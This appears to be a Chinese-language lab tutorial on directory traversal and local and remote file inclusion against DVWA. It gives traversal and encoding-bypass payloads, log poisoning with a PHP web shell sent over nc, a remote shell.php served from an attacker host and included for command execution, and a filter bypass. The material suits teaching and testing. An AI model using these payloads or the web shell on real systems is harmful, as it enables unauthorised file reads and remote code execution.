目录遍历(路径遍历)是由于web服务器配置错误或者web应用程序对用户输入的文件名称的安全性验证不足,使得攻击者通过利用一些特殊字符绕过服务器的安全限制,读取本地任意文件;
文件包含是指可以通过特定函数将里一个文件的内容或代码加载至当前页面。如,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行;漏洞利用方法与目录遍历相差无几。
简介
目录遍历(路径遍历)是由于服务器权限配置不当,攻击者访问本地任意的文件(可以是Web根目录以外的文件)造成信息泄露。文件包含漏洞与目录遍历漏洞类似,但还是有些区别,文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。目录遍历可以理解为本地文件包含,而利用远程文件包含可以实现远程代码执行,危害巨大。
php的代码里,要想实现远程包含需要开启allow_url_include
1 | /etc/php5/cgi/php.ini |
注: 有一种常见web漏洞叫目录浏览(Directory Browsing),这种漏洞会暴露网站的文件目录列表,与目录遍历容易混淆。
漏洞的常见特征
- ?page=a.php
- ?home=b.html
- ?file=comtent
经典的测试方法
1 | ?file=../../../../etc/passwd |
编码绕过字符过滤
- “.” , “%00” # 绕过文件扩展名过滤
- ?file=a.doc%00.php
- 使用多种编码尝试
不同操作系统的路径特征字符
- 类unix系统
- 根目录: /
- 目录层级分隔符: /
- Windows系统
- C:\
- \或/
编码
url编码、双层url编码
- %2E%2E%2F 解码:../
- %2E%2E%5C 解码:..\
- %252E%252E%255C 解码:../
Unicode/UTF-8编码
- ..%c0%af 解码:../
- ..%u2216
- ..%c1%9c 解码:..\
其他系统可能使用到的字符
1 | file.txt... |
UNC路径
1 | \\1.1.1.1\path\file.txt |
字典FUZZ
除了上面的方法外,也可以通过字典的方式进行FUZZ
kali系统自带的针对目录遍历漏洞的字典
1 | /usr/share/wfuzz/wordlist/Injections/Traversal.txt |
漏洞PoC
测试:
1 | http://10.0.2.5/dvwa/vulnerabilities/fi/?page=include.php |
本地文件包含
1 | ?page=../../../../../etc/passwd |
利用http协议实现远程文件包含(allow_url_include)
1 | ?page=http://www.baidu.com |
本地文件包含LFI
通过日志文件实现代码执行
日志信息位置/var/log/apache2/access.log
要想实现该实验,必须拥有可以读和执行日志文件的权限。
1 | sudo chmod -R 755 /var/log/apache2/ |
用nc想目标80 端口发送一句话木马
1 | root@kali:~# nc 10.0.2.5 80 |
查看日志信息,此时发送的信息就会被记录下来
通过本地文件包含漏洞执行代码
1 | ?page=/var/log/apache2/access.log&cmd=id |
远程文件包含RFI
在Kali机器创建shell.php文件
1 | echo shell_exec($_GET['cmd']); |
用python搭建简单的http服务器
1 | root@kali:~/test# python -m "SimpleHTTPServer" |
远程包含攻击者的木马文件
1 | ?page=http://10.0.2.15:8000/shell.php&cmd=id |
源码分析
low
1 |
|
low级别的代码没有任何过滤,可直接利用
medium
1 |
|
medium级别的代码做了一点防护,把”http://“,”https://“替换成空字符,因为只是做了一次替换,所以很好绕过
只需在”http://“中在加入一个”http://“
1 | ?page=hthttp://tp://www.baidu.com |
high
1 |
|
high级别的代码做了白名单限制,只允许include.php文件通过。